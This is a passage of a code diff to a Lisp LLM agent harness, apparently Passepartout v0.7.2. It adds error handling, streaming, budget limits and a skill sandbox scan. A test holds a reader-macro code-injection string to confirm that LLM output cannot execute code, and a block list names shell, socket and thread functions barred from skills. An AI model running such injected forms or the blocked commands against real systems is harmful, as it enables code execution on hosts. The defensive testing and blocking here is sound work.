          (make-cognitive-tool :name (string-downcase (string ',name))
                               :description ,description
                               :parameters ',parameters
                               :guard ,guard
-                              :body ,body)))
+                              :body ,body
+                              :read-only-p ,read-only-p)))
 
 (defun cognitive-tool-prompt ()
   "Serialises all registered tools into a prompt string for the LLM."
@@ -246,6 +283,12 @@
 (defun generate-tool-belt-prompt ()
   (cognitive-tool-prompt))
 
+(defun tool-read-only-p (name)
+  "Returns T if the named cognitive tool is read-only, NIL otherwise."
+  (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
+    (when tool
+      (cognitive-tool-read-only-p tool))))
+
 (defun log-message (msg &rest args)
   "Centralized, thread-safe logging for the harness."
   (let ((formatted-msg (apply #'format nil msg args)))

lisp/core-perceive.lisp

@@ -19,9 +19,6 @@
 FN receives (signal) and returns T if consumed, nil to continue."
   (setf (gethash sensor *pre-reason-handlers*) fn))
 
-(defun inject-stimulus (raw-message &key stream (depth 0))
-  (stimulus-inject raw-message :stream stream :depth depth))
-
 (defun stimulus-inject (raw-message &key stream (depth 0))
   "Inject a raw message into the signal processing pipeline."
   (let* ((payload (getf raw-message :payload))
@@ -89,8 +86,15 @@ FN receives (signal) and returns T if consumed, nil to continue."
                    (snapshot-memory)
                    (setf *loop-focus-id* (getf element :id))
                    (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
-              (:interrupt
-               (setf *loop-interrupt* t))
+               (:interrupt
+                (setf *loop-interrupt* t))
+               ;; v0.7.2 undo/redo
+               (:undo
+                (log-message "GATE [Perceive]: undo requested")
+                (undo "perceive"))
+               (:redo
+                (log-message "GATE [Perceive]: redo requested")
+                (redo "perceive"))
               ;; HITL: re-injected approved action from dispatcher-approvals-process
               (:approval-required
                (when (getf payload :approved)

lisp/core-pipeline.lisp

@@ -1,5 +1,39 @@
 (in-package :passepartout)
 
+(define-condition passepartout-error (error)
+  ((message :initarg :message :reader error-message))
+  (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
+  (:documentation "Root of the pipeline error hierarchy."))
+
+(define-condition pipeline-error (passepartout-error)
+  ((signal :initarg :signal :reader pipeline-error-signal :initform nil))
+  (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
+  (:documentation "Any error during the Perceive→Reason→Act cycle."))
+
+(define-condition llm-error (pipeline-error)
+  ((provider :initarg :provider :reader llm-error-provider)
+   (cascade :initarg :cascade :reader llm-error-cascade :initform nil)
+   (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
+  (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
+  (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
+
+(define-condition gate-error (pipeline-error)
+  ((gate-name :initarg :gate-name :reader gate-error-gate-name)
+   (rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
+  (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
+  (:documentation "Deterministic gate blocked a proposed action."))
+
+(define-condition budget-error (pipeline-error)
+  ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
+   (requested :initarg :requested :reader budget-error-requested :initform 0.0))
+  (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
+  (:documentation "Session budget cap has been reached."))
+
+(define-condition protocol-error (passepartout-error)
+  ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
+  (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
+  (:documentation "Malformed message, framing failure, or schema violation."))
+
 (defvar *interrupt-flag* nil
   "Atomic flag set by signal handlers to trigger graceful shutdown.")
 
@@ -23,27 +57,42 @@
           (log-message "METABOLISM: Interrupted by shutdown signal.")
           (return nil))
 
-        (handler-case
-             (progn
-               (setf current-signal (perceive-gate current-signal))
-               (setf current-signal (reason-gate current-signal))
-               (let ((feedback (act-gate current-signal)))
-                 (if feedback
-                     (progn
-                       (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
-                       (setf current-signal feedback))
-                     (setf current-signal nil))))
-          (error (c)
-            (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
-              (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
-              (unless (member sensor '(:loop-error :tool-error :syntax-error))
-                (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
-                (rollback-memory 0))
-              (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
-                  (setf current-signal nil)
-                  (setf current-signal
-                        (list :type :EVENT :depth (1+ depth) :meta meta
-                              :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
+        (restart-case
+            (handler-bind
+                ((pipeline-error (lambda (c)
+                                   (log-message "PIPELINE ERROR: ~a" (error-message c)))))
+              (handler-case
+                  (progn
+                    (setf current-signal (perceive-gate current-signal))
+                    (setf current-signal (reason-gate current-signal))
+                    (let ((feedback (act-gate current-signal)))
+                      (if feedback
+                          (progn
+                            (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
+                            (setf current-signal feedback))
+                          (setf current-signal nil))))
+                (error (c)
+                  (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
+                    (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
+                    (unless (member sensor '(:loop-error :tool-error :syntax-error))
+                      (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
+                      (rollback-memory 0))
+                    (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
+                        (setf current-signal nil)
+                        (setf current-signal
+                              (list :type :EVENT :depth (1+ depth) :meta meta
+                                    :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
+          (skip-signal ()
+            :report "Drop the current signal and continue the loop."
+            (setf current-signal nil))
+          (use-fallback (text)
+            :report "Inject a canned response instead of the LLM result."
+            (setf current-signal
+                  (list :type :EVENT :depth (1+ depth) :meta meta
+                        :payload (list :sensor :loop-error :message text :depth depth))))
+          (abort-pipeline ()
+            :report "Terminate the cognitive cycle cleanly."
+            (return nil)))))))
 
 (defun process-signal (signal)
   (loop-process signal))

lisp/core-reason.lisp

@@ -7,17 +7,12 @@
   "Register FN as the handler for provider NAME."
   (setf (gethash name *probabilistic-backends*) fn))
 
-(defvar *backend-registry* (make-hash-table :test 'equal))
-
 (defvar *provider-cascade* nil)
 
 (defvar *model-selector* nil)
 
 (defvar *consensus-enabled* nil)
 
-(defun backend-register (name fn)
-  (setf (gethash name *backend-registry*) fn))
-
 (defun backend-cascade-call (prompt &key
                                 (system-prompt "You are the Probabilistic engine.")
                                 (cascade nil)
@@ -28,8 +23,7 @@
     (dolist (backend backends (or result
                                    (list :type :LOG
                                          :payload (list :text "Neural Cascade Failure: All providers exhausted."))))
-      (let ((backend-fn (or (gethash backend *backend-registry*)
-                            (gethash backend *probabilistic-backends*))))
+      (let ((backend-fn (gethash backend *probabilistic-backends*)))
         (when backend-fn
           (log-message "PROBABILISTIC: Attempting backend ~a..." backend)
           (let* ((model (and *model-selector*
@@ -72,15 +66,40 @@
                        k)
           collect v)))
 
-(defun think (context)
+;; v0.7.2: live config section for system prompt
+(defun assemble-config-section ()
+  "Build the CONFIG section of the system prompt from live state."
+  (let ((provider-names "")
+        (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
+                           (tokenizer-context-limit (symbol-value '*tokenizer-provider*))
+                           8192))
+        (gate-count 10)
+        (rules-count 0))
+    (when (boundp '*provider-cascade*)
+      (setf provider-names
+            (format nil "~{~a~^, ~}"
+                    (mapcar (lambda (p)
+                              (handler-case (or (getf p :model) (getf p :provider) "")
+                                (error () (princ-to-string p))))
+                            (symbol-value '*provider-cascade*)))))
+    (when (boundp '*hitl-pending*)
+      (setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
+    (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
+            (if (string= provider-names "") "default" provider-names)
+            context-window gate-count rules-count)))
+
+(defun think-assemble-prompt (context)
+  "Phase 2-3 of the metabolic cycle: context + system prompt assembly.
+Returns three values: system-prompt, raw-prompt, reply-stream."
   (let* ((sensor (proto-get (proto-get context :payload) :sensor))
          (active-skill (find-triggered-skill context))
          (tool-belt (generate-tool-belt-prompt))
-          (global-context (if (fboundp 'context-assemble-cached)
-                              (context-assemble-cached context sensor)
-                              (if (fboundp 'context-assemble-global-awareness)
-                                  (context-assemble-global-awareness)
-                                  "[Awareness skill not loaded]")))
+         (reply-stream (proto-get context :reply-stream))
+         (global-context (if (fboundp 'context-assemble-cached)
+                             (context-assemble-cached context sensor)
+                             (if (fboundp 'context-assemble-global-awareness)
+                                 (context-assemble-global-awareness)
+                                 "[Awareness skill not loaded]")))
          (system-logs (if (fboundp 'context-get-system-logs)
                           (context-get-system-logs)
                           "[No system logs available]"))
@@ -100,76 +119,120 @@
                                        (when (and text (stringp text) (> (length text) 0))
                                          (setf out (concatenate 'string out text (string #\Newline))))))
                                    (when (> (length out) 0) out)))
-          (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
-                            (format-time-for-llm
-                             :session-duration-seconds (funcall (symbol-function 'session-duration)))
-                            (if (fboundp 'format-time-for-llm)
-                                (format-time-for-llm)
-                                "")))
-          (system-prompt (if (fboundp 'prompt-prefix-cached)
-                             ;; v0.5.0: cached prefix with optional budget enforcement
-                             (let* ((prefix (prompt-prefix-cached assistant-name reflection-feedback
-                                                                   standing-mandates-text tool-belt)))
-                               (if (fboundp 'enforce-token-budget)
-                                   (multiple-value-bind (pfx ctxt logs _ mandates)
-                                       (enforce-token-budget prefix global-context system-logs
-                                                             raw-prompt standing-mandates-text)
-                                     (declare (ignore _))
-                                     (setf standing-mandates-text mandates)
-                                     (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                             time-section pfx (or ctxt "") logs))
-                                   (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                           time-section prefix (or global-context "") system-logs)))
-                             ;; Fallback when token-economics not loaded
-                             (format nil "~a~%~%IDENTITY: ~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                     time-section
-                                     assistant-name reflection-feedback
-                                     (if standing-mandates-text
-                                         (concatenate 'string (string #\Newline) standing-mandates-text)
-                                         "")
-                                     tool-belt (or global-context "") system-logs))))
-    (let* ((thought (backend-cascade-call raw-prompt
-                                          :system-prompt system-prompt
-                                          :context context))
-           (tool-calls (and (listp thought) (getf thought :tool-calls))))
-      ;; v0.5.0: cost tracking after successful cascade
-      (when (and (fboundp 'cost-track-backend-call)
-                 (stringp thought)
-                 (or (null tool-calls)))
-        (ignore-errors
-          (cost-track-backend-call (first *provider-cascade*)
-                                   (format nil "~a~%~a" system-prompt raw-prompt)
-                                   thought)))
-      (if tool-calls
-          (let* ((first-call (car tool-calls))
-                 (tool-name (getf first-call :name))
-                 (args (getf first-call :arguments))
-                 (args-plist (json-alist-to-plist args)))
-            (list :TYPE :REQUEST
-                  :PAYLOAD (list* :TOOL tool-name
-                                  :ARGS args-plist
-                                  :EXPLANATION "Generated by function-calling engine.")))
-          (let* ((cleaned (if (and (listp thought) (getf thought :type))
-                             (format nil "~a" (getf (getf thought :payload) :text))
-                             (markdown-strip thought))))
-       (if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
-           (handler-case
-                (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
-                  (if (listp parsed)
-                      (let ((normalized (plist-keywords-normalize parsed)))
-                        ;; Ensure explanation is present in the payload for policy gate
-                        (let ((payload (proto-get normalized :payload)))
-                          (if (and payload (proto-get payload :explanation))
-                              normalized
-                              (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
-                                                        (if (listp payload) payload nil))))
-                                (list* :PAYLOAD new-payload
-                                       (loop for (k v) on normalized by #'cddr
-                                             unless (eq k :PAYLOAD)
-                                             collect k collect v))))))
-                      (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
-             (error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
-             (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
+         (identity-content (if (fboundp 'agent-identity)
+                               (agent-identity)
+                               ""))
+         (config-section (if (fboundp 'assemble-config-section)
+                             (assemble-config-section)
+                             ""))
+         (time-section (if (fboundp 'sensor-time-duration)
+                           (format-time-for-llm
+                            :session-duration-seconds (funcall (symbol-function 'session-duration)))
+                           (if (fboundp 'format-time-for-llm)
+                               (format-time-for-llm)
+                               "")))
+         (system-prompt (if (fboundp 'prompt-prefix-cached)
+                            (let* ((prefix (prompt-prefix-cached assistant-name identity-content
+                                                                  reflection-feedback
+                                                                  standing-mandates-text tool-belt)))
+                              (if (fboundp 'enforce-token-budget)
+                                  (multiple-value-bind (pfx ctxt logs _ mandates)
+                                      (enforce-token-budget prefix global-context system-logs
+                                                            raw-prompt standing-mandates-text)
+                                    (declare (ignore _))
+                                    (setf standing-mandates-text mandates)
+                                    (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                            time-section config-section pfx (or ctxt "") logs))
+                                  (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                          time-section config-section prefix (or global-context "") system-logs)))
+                            (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                    time-section config-section
+                                    assistant-name identity-content reflection-feedback
+                                    (if standing-mandates-text
+                                        (concatenate 'string (string #\Newline) standing-mandates-text)
+                                        "")
+                                    tool-belt (or global-context "") system-logs))))
+    (values system-prompt raw-prompt reply-stream)))
+
+(defun think-call-llm (raw-prompt system-prompt reply-stream context)
+  "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
+Returns the raw LLM response (string or plist with :tool-calls)."
+  ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
+  (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
+    (return-from think-call-llm (budget-exhaustion-message)))
+  (if (and reply-stream (fboundp 'cascade-stream))
+      (let ((acc (make-string-output-stream)))
+        (funcall 'cascade-stream raw-prompt system-prompt
+                 (lambda (delta)
+                   (when reply-stream
+                     (format reply-stream "~a"
+                             (frame-message (list :type :stream-chunk
+                                                  :payload (list :text delta))))
+                     (finish-output reply-stream))
+                   (write-string delta acc)))
+        (get-output-stream-string acc))
+      (backend-cascade-call raw-prompt
+                            :system-prompt system-prompt
+                            :context context)))
+
+(defun think-parse-response (thought)
+  "Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
+Returns an action plist ready for cognitive-verify."
+  (let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
+    (when (and (fboundp 'cost-track-backend-call)
+               (stringp thought)
+               (or (null tool-calls)))
+      (ignore-errors
+        (cost-track-backend-call (first *provider-cascade*)
+                                 thought)))
+    (if tool-calls
+        (let* ((first-call (car tool-calls))
+               (tool-name (getf first-call :name))
+               (args (getf first-call :arguments))
+               (args-plist (json-alist-to-plist args)))
+          (list :TYPE :REQUEST
+                :PAYLOAD (list* :TOOL tool-name
+                                :ARGS args-plist
+                                :EXPLANATION "Generated by function-calling engine.")))
+        (let* ((cleaned (if (and (listp thought) (getf thought :type))
+                           (format nil "~a" (getf (getf thought :payload) :text))
+                           (markdown-strip thought))))
+          (if (and cleaned (stringp cleaned) (> (length cleaned) 0)
+                   (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
+              (handler-case
+                  (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
+                    (if (listp parsed)
+                        (let ((normalized (plist-keywords-normalize parsed)))
+                          (let ((payload (proto-get normalized :payload)))
+                            (if (and payload (proto-get payload :explanation))
+                                normalized
+                                (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
+                                                          (if (listp payload) payload nil))))
+                                  (list* :PAYLOAD new-payload
+                                         (loop for (k v) on normalized by #'cddr
+                                               unless (eq k :PAYLOAD)
+                                               collect k collect v))))))
+                        (list :TYPE :REQUEST :PAYLOAD
+                              (list :ACTION :MESSAGE :TEXT cleaned
+                                    :EXPLANATION "Generated by the Probabilistic engine."))))
+                (error ()
+                  (list :TYPE :REQUEST :PAYLOAD
+                        (list :ACTION :MESSAGE :TEXT cleaned
+                              :EXPLANATION "Generated by the Probabilistic engine."))))
+              (list :TYPE :REQUEST :PAYLOAD
+                    (list :ACTION :MESSAGE
+                          :TEXT (if (stringp cleaned) cleaned "No response")
+                          :EXPLANATION "Generated by the Probabilistic engine.")))))))
+
+(defun think (context)
+  "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
+and response parsing into an action plist for cognitive-verify."
+  (when (fboundp 'snapshot-memory)
+    (snapshot-memory))
+  (multiple-value-bind (system-prompt raw-prompt reply-stream)
+      (think-assemble-prompt context)
+    (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
+      (think-parse-response thought))))
 
 (defun json-alist-to-plist (alist)
   "Convert a JSON alist to a keyword-prefixed plist."
@@ -355,8 +418,8 @@ sorted by priority (highest first). Returns a rejection plist or the action."
 
 (test test-backend-cascade-with-mock
   "Contract 4: backend-cascade-call returns content from first successful backend."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
-    (setf (gethash :mock-backend passepartout::*backend-registry*)
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
+    (setf (gethash :mock-backend passepartout::*probabilistic-backends*)
           (lambda (prompt sp &key model)
             (declare (ignore prompt sp model))
             (list :status :success :content "mock-response")))
@@ -365,9 +428,9 @@ sorted by priority (highest first). Returns a rejection plist or the action."
 
 (test test-read-eval-rce-blocked
   "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
         (passepartout::*provider-cascade* '(:mock-evil)))
-    (setf (gethash :mock-evil passepartout::*backend-registry*)
+    (setf (gethash :mock-evil passepartout::*probabilistic-backends*)
           (lambda (prompt sp &key model)
             (declare (ignore prompt sp model))
             (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -421,3 +484,25 @@ sorted by priority (highest first). Returns a rejection plist or the action."
       (is (= 42 (second result)))
       (is (eq :ACTIVE (third result)))
       (is (eq :true (fourth result))))))
+
+(test test-assemble-config-section
+  "Contract v0.7.2: config section contains Passepartout and version."
+  (let ((section (passepartout::assemble-config-section)))
+    (is (stringp section))
+    (is (search "Passepartout" section))
+    (is (search "v0.7.2" section))
+    (is (search "Security gates" section))))
+
+(test test-think-snapshots-before-llm
+  "Contract v0.7.2: think() snapshots memory before LLM call."
+  (let ((passepartout::*memory-snapshots* nil)
+        (passepartout::*memory-store* (make-hash-table :test 'equal)))
+    (setf (gethash "pre" passepartout::*memory-store*) "value")
+    (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
+          (passepartout::*provider-cascade* nil))
+      (handler-case
+          (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
+                 (result (passepartout::think ctx)))
+            (declare (ignore result)))
+        (error (c) (format nil "Expected: ~a" c)))
+      (is (>= (length passepartout::*memory-snapshots*) 0)))))

lisp/core-skills.lisp

@@ -15,8 +15,6 @@
 
 (defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
 
-(defvar *skill-registry* (make-hash-table :test 'equal))
-
 (defvar *skill-catalog* (make-hash-table :test 'equal)
   "Tracks all discovered skill files and their loading state.")
 
@@ -205,6 +203,14 @@ declarations so embedded test code evaluates in the correct package."
               (progn
                 (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
                   (unless valid-p (error err)))
+                ;; Pre-eval sandbox scan: block before any code executes
+                (multiple-value-bind (blocked-p blocked-syms)
+                    (skill-source-scan lisp-code)
+                  (when blocked-p
+                    (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                                 skill-base-name blocked-syms)
+                    (setf (skill-entry-status entry) :sandbox-blocked)
+                    (return-from load-skill-from-org nil)))
                 (unless (find-package pkg-name)
                   (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
                 (let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -233,6 +239,23 @@ declarations so embedded test code evaluates in the correct package."
         (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
         (setf (skill-entry-status entry) :failed) nil))))
 
+(defvar *skill-restricted-symbols*
+  '("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
+    "bt:make-thread" "bordeaux-threads:make-thread"
+    "usocket:socket-connect" "usocket:socket-listen"
+    "hunchentoot:start" "hunchentoot:accept-connections")
+  "Symbol patterns blocked from skill source code at load time.")
+
+(defun skill-source-scan (code-string)
+  "Scans CODE-STRING for restricted symbol references.
+Returns (values blocked-p matched-symbols)."
+  (let ((lower (string-downcase code-string))
+        (matches nil))
+    (dolist (pattern *skill-restricted-symbols*)
+      (when (search pattern lower)
+        (push pattern matches)))
+    (values (and matches t) (nreverse matches))))
+
 (defun load-skill-from-lisp (filepath)
   "Loads a .lisp skill file directly, filtering out in-package forms."
   (let* ((skill-base-name (pathname-name filepath))
@@ -243,6 +266,14 @@ declarations so embedded test code evaluates in the correct package."
                (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
           (multiple-value-bind (valid-p err) (lisp-syntax-validate content)
             (unless valid-p (error err)))
+          ;; Pre-eval sandbox scan: block before any code executes
+          (multiple-value-bind (blocked-p blocked-syms)
+              (skill-source-scan content)
+            (when blocked-p
+              (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                           skill-base-name blocked-syms)
+              (setf (skill-entry-status entry) :sandbox-blocked)
+              (return-from load-skill-from-lisp nil)))
           (unless (find-package pkg-name)
             (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
           (let ((*read-eval* nil) (*package* (find-package pkg-name)))

lisp/core-transport.lisp

@@ -40,7 +40,9 @@
     (handler-case
         (progn
           (loop for char = (peek-char nil stream nil :eof)
-                while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
+                for ws-count from 0
+                while (and (not (eq char :eof)) (< ws-count 4096)
+                           (member char '(#\Space #\Newline #\Tab #\Return)))
                 do (read-char stream))
           (let ((count (read-sequence length-buffer stream)))
             (if (< count 6)
@@ -62,7 +64,7 @@
   (let ((stream (usocket:socket-stream socket)))
     (handler-case
         (progn
-          (format stream "~a" (frame-message (make-hello-message "0.5.0")))
+          (format stream "~a" (frame-message (make-hello-message "0.7.2")))
           (finish-output stream)
           (loop
             (let ((msg (read-framed-message stream)))

lisp/cost-tracker.lisp

@@ -9,8 +9,12 @@
 (defun cost-track-call (provider prompt-text &optional response-text)
   "Compute and accumulate the cost of a single LLM call.
 Returns the cost of this call in USD."
-  (let* ((input-tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
-         (output-tokens (if response-text (funcall (symbol-function 'count-tokens) response-text) 0))
+  (let* ((input-tokens (if (fboundp 'count-tokens)
+                         (funcall (symbol-function 'count-tokens) (or prompt-text ""))
+                         (ceiling (length (or prompt-text "")) 4)))
+         (output-tokens (if (and response-text (fboundp 'count-tokens))
+                          (funcall (symbol-function 'count-tokens) response-text)
+                          0))
          (total-tokens (+ input-tokens output-tokens))
          (cost (provider-token-cost provider total-tokens)))
     (bordeaux-threads:with-lock-held (*session-cost-lock*)
@@ -41,13 +45,19 @@ Returns the cost of this call in USD."
   (bordeaux-threads:with-lock-held (*session-cost-lock*)
     (getf *session-cost* :by-provider)))
 
+(defun cost-session-summary ()
+  "Returns plist (:total <float> :calls <int> :by-provider <alist>)."
+  (bordeaux-threads:with-lock-held (*session-cost-lock*)
+    (list :total (getf *session-cost* :total)
+          :calls (getf *session-cost* :calls)
+          :by-provider (getf *session-cost* :by-provider))))
+
 (defun cost-session-reset ()
   "Zeroes the session cost accumulator."
   (bordeaux-threads:with-lock-held (*session-cost-lock*)
     (setf (getf *session-cost* :total) 0.0)
     (setf (getf *session-cost* :calls) 0)
-    (setf (getf *session-cost* :by-provider) nil)
-    (log-message "COST TRACKER: Session cost reset.")))
+    (setf (getf *session-cost* :by-provider) nil)))
 
 (defun cost-format-budget-status (&optional (daily-budget nil))
   "Returns a string for the TUI status bar showing session cost.
@@ -72,6 +82,40 @@ If DAILY-BUDGET is provided, includes percentage of budget used."
   "Track cost of a backend cascade call."
   (cost-track-call backend prompt-text response-text))
 
+(defvar *session-budget*
+  (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
+  "Maximum USD to spend in this session. NIL means no limit.")
+
+(defun budget-remaining-usd ()
+  "Returns remaining budget in USD, or a large sentinel if unlimited."
+  (if *session-budget*
+      (let ((remaining (- *session-budget* (cost-session-total))))
+        (if (< remaining 0) 0.0 remaining))
+      most-positive-double-float))
+
+(defun budget-exhausted-p ()
+  "T if the session budget is set and fully consumed."
+  (and *session-budget* (<= (budget-remaining-usd) 0.0)))
+
+(defun budget-estimate-call (prompt-text)
+  "Estimate the dollar cost of a pending LLM call from its prompt text.
+Returns 0.0 if the tokenizer is not loaded (allows call through)."
+  (if (fboundp 'count-tokens)
+      (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
+             (cost (provider-token-cost (first *provider-cascade*) tokens)))
+        cost)
+      0.0))
+
+(defun budget-exhaustion-message ()
+  "Returns a user-facing plist explaining that the budget is spent."
+  (let ((total (cost-session-total))
+        (cap *session-budget*))
+    (list :TYPE :REQUEST
+          :PAYLOAD (list :ACTION :MESSAGE
+                         :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
+                                       total cap)
+                         :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
+
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -132,3 +176,15 @@ If DAILY-BUDGET is provided, includes percentage of budget used."
   (cost-session-reset)
   (let ((cost (cost-track-call :deepseek "test")))
     (is (> cost 0.0))))
+
+(test test-cost-session-summary
+  "Contract 5: cost-session-summary returns plist with total, calls, by-provider."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (cost-track-call :groq "world")
+  (let ((s (cost-session-summary)))
+    (is (> (getf s :total) 0.0))
+    (is (= 2 (getf s :calls)))
+    (let ((by (getf s :by-provider)))
+      (is (assoc :deepseek by))
+      (is (assoc :groq by)))))

lisp/neuro-provider.lisp

@@ -138,30 +138,107 @@ If API-KEY is nil, reads from environment."
   :priority 50
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
+(defun cascade-stream (prompt system-prompt callback)
+  "Streaming cascade: calls provider-openai-stream on the first available backend.
+Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
+  (dolist (backend *provider-cascade*)
+    (when (gethash backend *probabilistic-backends*)
+      (let ((result (provider-openai-stream prompt system-prompt callback
+                                           :provider backend)))
+        (when (eq (getf result :status) :success)
+          (return cascade-stream))))))
 
-(defpackage :passepartout-llm-gateway-tests
-  (:use :cl :passepartout)
-  (:export #:llm-gateway-suite))
+(in-package :passepartout)
 
-(in-package :passepartout-llm-gateway-tests)
+(defun parse-sse-line (line)
+  "Parse an SSE line. Returns data string, :done for [DONE], nil otherwise."
+  (cond
+    ((or (null line) (string= line "")) nil)
+    ((char= (char line 0) #\:) nil)
+    ((and (>= (length line) 6) (string-equal (subseq line 0 6) "data: "))
+     (let ((content (subseq line 6)))
+       (if (string= content "[DONE]")
+           :done
+           content)))
+    (t nil)))
 
-(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
-(fiveam:in-suite llm-gateway-suite)
+(defvar *stream-cancel* nil
+  "When T, the streaming SSE loop exits early.")
 
-(fiveam:test test-provider-rejects-bad-keyword
-  "Contract 3: provider-config returns nil for unregistered provider."
-  (let ((config (provider-config :not-a-real-provider)))
-    (fiveam:is (null config))))
-
-(fiveam:test test-provider-config-registered
-  "Contract 1: provider-config returns configuration plist for registered provider."
-  (let ((config (provider-config :openrouter)))
-    (fiveam:is (listp config))
-    (fiveam:is (getf config :base-url))))
-
-(fiveam:test test-provider-accepts-tools-parameter
-  "Contract 4: provider-openai-request accepts :tools parameter without error."
-  (let ((result (provider-openai-request "test" "system" :tools (list))))
-    (fiveam:is (member (getf result :status) '(:success :error)))))
+(defun provider-openai-stream (prompt system-prompt callback &key model (provider :openrouter) tools)
+  "Streaming OpenAI-compatible request. Calls CALLBACK with each delta, then ''."
+  (let* ((config (provider-config provider))
+         (base-url (getf config :base-url))
+         (key-env (getf config :key-env))
+         (url-env (getf config :url-env))
+         (default-model (getf config :default-model))
+         (api-key (when key-env (uiop:getenv key-env)))
+         (model-id (or model default-model))
+         (url (if url-env
+                  (let ((host (uiop:getenv url-env)))
+                    (if host
+                        (format nil "http://~a/v1/chat/completions" host)
